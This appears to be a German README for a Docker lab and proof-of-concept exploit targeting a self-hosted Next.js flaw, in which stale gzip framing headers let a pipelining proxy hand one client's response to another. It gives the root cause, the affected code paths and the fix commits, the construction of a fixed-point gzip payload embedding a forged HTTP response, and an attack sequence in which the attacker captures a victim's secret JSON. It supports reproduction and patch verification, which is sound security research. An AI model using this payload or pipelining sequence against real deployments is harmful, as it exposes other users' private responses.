
Docker-Dual-Lab- und eigenständiger differenzieller PoC für CVE-2026-119348, eine Schwachstelle zur Vergiftung der Antwortwarteschlange durch veraltete komprimierte Framing-Daten in selbst gehostetem Next.js.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (Mittel) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Produkt: Vercel Next.js (next), selbst gehostet (next start)
Dieses Repository enthält eine vollständige, deterministische Reproduktion (Docker-Lab + eigenständiger Exploit) der Schwachstelle zur clientübergreifenden Antwortinjektion und -offenlegung, die im Next.js-Sicherheitsrelease vom November 2026 behoben wurde. Zum Zeitpunkt der Erstellung dieses Labs existierte kein öffentlicher PoC (geprüft am 2026-11-20: GitHub-Repo-/Code-Suche nach den CVE- und GHSA-IDs → 0 Treffer).
Nodes fetch (undici) dekomprimiert transparent einen Body mit content-encoding: gzip, behält aber
die ursprünglichen Antwort-Header bei, einschließlich content-length: <compressed-size>.
Wenn eine selbst gehostete Next.js-Anwendung eine solche abgerufene Upstream-Response
unverändert zurückgibt — aus einem App-Router-Route-Handler, einem Fetch-Cache-Eintrag oder einer
Middleware der Node-Runtime —, leiten anfällige Versionen von Next die veralteten komprimierten Framing-Angaben
an den Client weiter, während der längere, dekomprimierte Body gestreamt wird:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js schreibt Body-Bytes über die deklarierte Content-Length hinaus, ohne einen Fehler zu melden, und hält die Keep-Alive-Verbindung offen. Jeder HTTP/1.1-Reverse-Proxy, der pipelined Requests auf einer gemeinsam genutzten Backend-Verbindung in eine Warteschlange einreiht (die im Advisory genannte Voraussetzung – z. B. HAProxy http-reuse always, verschiedene Node.js-basierte Proxies), demultiplext Backend-Antworten strikt anhand der deklarierten Framing-Angaben. Die überlaufenden Bytes werden daher als nächste Antwort in der Warteschlange geparst:
| Branch | Anfällig | Gepatcht |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
In vercel/next.js beim Tag v16.4.4:
packages/next/src/server/send-response.ts:24-70 — sendResponse() hängt jeden
Header der Response des Handlers an (nur x-middleware-set-cookie wird übersprungen) und
leitet anschließend den dekodierten Body weiter. Die weitergeleiteten content-length / content-encoding /
transfer-encoding beschreiben den kodierten Body, den undici bereits dekodiert hat.packages/next/src/server/next-server.ts:2009-2012 — die Middleware-Response-Schleife überspringt
nur content-encoding und kopiert weiterhin die veralteten content-length /
transfer-encoding.packages/next/src/server/web/sandbox/sandbox.ts:23)
diese drei Header bereits entfernt — die Lücke lag in den Node-Runtime-Pfaden.Fix (v16.4.5, Commit
2842833,
15.x: 848ec29):
beide Weiterleitungspfade verwerfen nun content-length, content-encoding und transfer-encoding
(FORBIDDEN_HEADERS), sodass Node.js den dekodierten Body korrekt mit
transfer-encoding: chunked framt.
next start) — auf der Vercel-Plattform nicht betroffen.Response unverändert zurück (jedes
Weiterleitungs-/Relay-Muster: return fetch(url)), direkt oder über den Fetch-Cache.Keine Authentifizierung, keine Benutzerinteraktion.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
Die bösartige Upstream-Payload (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
mit einem so gewählten n, dass n == len(gzip(P)) gilt (ein Fixpunkt, hier n = 70, dekodiert = 116 B).
Die App gibt daher eine Antwort aus, deren deklarierter Content-Length: 70 nur das A-Präfix
abdeckt, und die 46 nachfolgenden Bytes sind eine vollständig geformte gefälschte HTTP-Antwort.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py ist eigenständig (Python 3, nur Standardbibliothek). Jede Runde stellt drei Anfragen
auf der gemeinsamen Backend-Verbindung in die Warteschlange:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response